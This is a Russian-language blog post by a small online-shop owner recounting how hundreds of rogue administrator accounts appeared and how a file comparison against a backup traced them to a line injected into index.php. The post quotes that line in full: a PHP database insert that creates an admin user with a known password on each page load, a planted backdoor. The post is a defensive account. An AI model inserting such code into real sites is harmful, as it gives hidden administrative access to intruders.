Сегодня утром мне понадобилось создать еще одного пользователя. Зашел в админку и ужаснулся - на странице пользователей создано 400 с лишним записей с логином test, одинаковой почтой и всеми другими данными. В холодном поту я их все поудалял, удалил все FTP аккаунты, сменил пароль на базу данных и пароли для всех пользователей.
Но это не помогло, пользователи (с админским доступом!) продолжали появляться.
Я не очень осведомлен во всех этих премудростях, поэтому все что мне пришло в голову - копать статистику сервера. Магазин еще в люди не выпущен (это не столько бизнес, сколько долгоиграющее хобби типа рыбалки, только ловля в будет в интернете), соответственно заходят пока только те, кто наполняют сайт, и я решил, что по IP можно что-то там проанализировать и понять. Но ковыряния эти ни к чему не привели, и я пошел другим путем.
Скачал программку для сравнения файлов WinMerge, скачал файлы сайта, задал маску *.php, и поставил сравнение с двухдневным бекапом сайта.
Кака сразу нашлась, какой-то шутник в index.php вставил код, все остальные файлы были неизменны:
$db->query("INSERT INTO `" . DB_PREFIX . "user` SET username = 'test', salt = '" . $db->escape($salt = substr(md5(uniqid(rand(), true)), 0, 9)) . "', password = '" . $db->escape(sha1($salt . sha1($salt . sha1('test123')))) . "', firstname = 'test', lastname = 'log', email = '
[email protected]', user_group_id = '1', status = '1', date_added = NOW()");
Код был удален, и пока что все ок.
Остался открытым вопрос, кто это мог сделать. За это время я давал доступ паре-тройке программистов (буржуазных и местных), когда установленные модули не хотели работать так как им полагалось. Но при этом я дурень, доступы эти потом не снимал. Поэтому кто из них мог оставить такой привет, остается только догадываться. Я вроде ни с кем не ругался, и все свои обязательства выполняю аккуратно.
Хуже будет, если это сделал человек, не имеющий изначально доступа. Но как это проверить, я пока не знаю.
Из этой всей истории я сделал для себя несколько очень важных выводов:
нужно делать бекапы как можно чаще, даже если вы не меняли сайт, делать раз в сутки например, это очень полезно
посторонним людям давать доступ только разовый, и потом сразу же его закрывать
программка для сравнения файлов как нельзя лучше подойдет для вылавливания багов
Я понимаю, что многим умудренным вебмастерам эти выводы очевидны, но все-таки решил поделиться, наверняка есть такие же неопытные товарищи, как я.
P.S. Если это была чья-то шутка, то я благодарен шутникам за то, что она оказалась довольно безобидна, и за приобретенный бесценный опыт. А если все-таки кто-то взломал сайт, то буду отписываться здесь о дальнейшем развитии событий. Спасибо что дочитали до конца